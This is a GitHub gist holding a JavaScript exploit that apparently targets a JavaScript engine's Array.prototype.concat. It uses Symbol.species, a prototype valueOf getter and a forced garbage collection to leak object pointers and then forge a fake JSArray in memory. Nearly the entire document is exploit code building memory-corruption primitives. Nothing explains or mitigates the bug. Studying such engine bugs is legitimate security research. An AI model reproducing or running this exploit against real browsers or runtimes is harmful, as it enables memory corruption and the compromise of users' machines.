Skip to content

Instantly share code, notes, and snippets.

@cd789
Created August 14, 2021 06:42
Show Gist options
  • Save cd789/0ecfa4c804afdd98272bfd77543528db to your computer and use it in GitHub Desktop.
Save cd789/0ecfa4c804afdd98272bfd77543528db to your computer and use it in GitHub Desktop.
class Helpers {
constructor() {
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.f32 = new Float32Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.state = {};
this.i = 0;
}
ftoil(f) {
this.f64[0] = f;
return this.u32[0]
}
ftoih(f) {
this.f64[0] = f;
return this.u32[1]
}
itof(i) {
this.u32[0] = i;
return this.f32[0];
}
printhex(val) {
console.log('0x' + val.toString(16));
}
add_ref(object) {
this.state[this.i++] = object;
}
}
var helper = new Helpers();
function information_leak() {
class LeakTypedArray extends Float64Array {}
let lta = new LeakTypedArray(1024);
// This is required to avoid an exception being thrown
// here:
lta.__defineSetter__('length', function() {})
// Create a Literal JSArray
var a = [
/* hole */, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9 // HOLEY_DOUBLE_ELEMENTS
];
// We'll be using this in Part2
var fake_object = new Float32Array(16);
fake_object[0] = 1.1;
/*
Set the `.constructor` property here instead of creating a class
so we can continue using Literal Double arrays
class MyArray extends Array {
static get [Symbol.species]() {
return function() {
return p;
}
};
}
*/
const C = new Function();
C.__defineGetter__(Symbol.species, () => {
return function() { return lta; }
});
a.constructor = C;
/*
Set the index on the Literal Array's prototype
to an object.
DONT USE THE ARRAY `a` ITSELF HERE OR IT WILL
be converted to HOLEY_ELEMENTS.
*/
Array.prototype[0] = {
valueOf: function() {
a.length = 1;
new ArrayBuffer(0x7fe00000); // Trigger a mark-sweep GC
delete Array.prototype[0];
}
};
var c = Array.prototype.concat.call(a);
/*
prop map
0xe00 [ 42424242 41414141 ]
length elements
0xe08 [ 44444444 43434343 ]
*/
helper.state.map = helper.ftoil(lta[1]);
helper.state.properties = helper.ftoih(lta[1]);
helper.state.elements = helper.ftoil(lta[2]);
helper.state.length = helper.ftoih(lta[2]);
/*
Calculate offsets to the Float32Array
that will hold our fake JSArray
*/
helper.state.fake_object = fake_object;
helper.state.fake_object_address = helper.state.elements + 0xa0;
helper.state.fake_object_bytearray_address = helper.state.elements + 0x60;
helper.add_ref(a);
}
function create_fake_object() {
class LeakTypedArray extends Float64Array {}
let lta = new LeakTypedArray(1024);
lta.__defineSetter__('length', function() {})
var a = [
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, /* hole */, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, {} // HOLEY_ELEMENTS
];
var fake_jsarray_object_ptr = new Float32Array(16);
fake_jsarray_object_ptr[0] = helper.itof( helper.state.fake_object_bytearray_address );
helper.printhex( helper.state.fake_object_bytearray_address );
const C = new Function();
C.__defineGetter__(Symbol.species, () => {
return function() { return lta; }
});
a.constructor = C;
/*
Corrupted Fake JSArray
proto map
0xe00 [ 42424242 41414141 ]
length elements
0xe08 [ 44444444 43434343 ]
*/
helper.state.fake_object[0] = helper.itof( helper.state.map );
helper.state.fake_object[1] = helper.itof( helper.state.properties );
helper.state.fake_object[2] = helper.itof( helper.state.elements );
helper.state.fake_object[3] = helper.itof( helper.state.length );
Array.prototype[19] = {
valueOf: function() {
a.length = 1;
new ArrayBuffer(0x7fe00000);
delete Array.prototype[19];
return 1.1;
}
};
var c = Array.prototype.concat.call(a);
}
information_leak();
create_fake_object();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment